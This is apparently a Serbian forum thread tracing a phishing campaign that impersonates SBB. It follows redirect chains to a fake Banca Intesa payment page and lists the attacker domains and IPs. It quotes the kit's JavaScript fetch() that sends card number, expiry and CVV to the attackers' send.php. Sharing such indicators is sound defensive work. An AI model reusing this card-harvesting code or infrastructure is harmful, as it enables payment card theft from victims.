[milos_rs]

Širi se ovaj mejl :

   

Jedan od uzoraka koji sam pogledao je došao ovom rutom :

   

link je sbb-update-renewals.onelink .me/aQyd/yr7dqlty 

trenutno preusmerava na app-sbb-auto-6629.twil .io/rs?referrer=af_tranid%3D3NXsDq-a6P_9vgDA3GnBKg%26deep_link_sub1%3Dsbbapp%26c%3Dsbbapp%26pid%3Dapp%26deep_link_value%3Dsbbapp

ali završava sa "Unauthorized - you are not authenticated to perform this request" - izgleda da je možda ubijeno šta god je bilo.

našao sam da je juče preusmeravao drugačije :

   

preusmeravao na 30844520.appmagic.co .za/rs/ koji je još uvek aktivan i prikazuje lažnu stranicu Banca Intesa za plaćanje :

   

Code:

30844520.appmagic.co.za has address 217.154.81.50

podatke šalje na 30844520.appmagic.co .za/rs/api/send.php

Code:

    fetch('./api/send.php', {         method: 'POST',         headers: {'Content-Type': 'application/json'},         body: JSON.stringify({             card: card,             mm: mm,             yy: yy,             cr: cr,             order: '585515'         })

i vrti neko vreme...

   

na kraju kaže :

   

[milos_rs]

Još jedan uzorak

mejl od: [email protected]

Code:

mailme.rbmjv.co.za has address 85.215.54.25 mailme.rbmjv.co.za mail is handled by 10 mailme.rbmjv.co.za. mailme.rbmjv.co.za descriptive text "v=spf1 ip4:85.215.54.25 ~all"

link u mejlu: sbb-auto.onelink[.]me/7xUW/rs

preusmerava na: sbb.appmagic.co .za/rs/

Code:

sbb.appmagic.co.za has address 217.154.81.50

otvara istu stranicu za plaćanje sa iste IP adrese kao i u prethodnom uzorku :

   

[Danijel.Jovanović]

Od jutros mi je 10ak razlicitih korisnika prijavilo ovo sa SBB, svi su sa razlicitih domena i adresa stigli.

[milos_rs]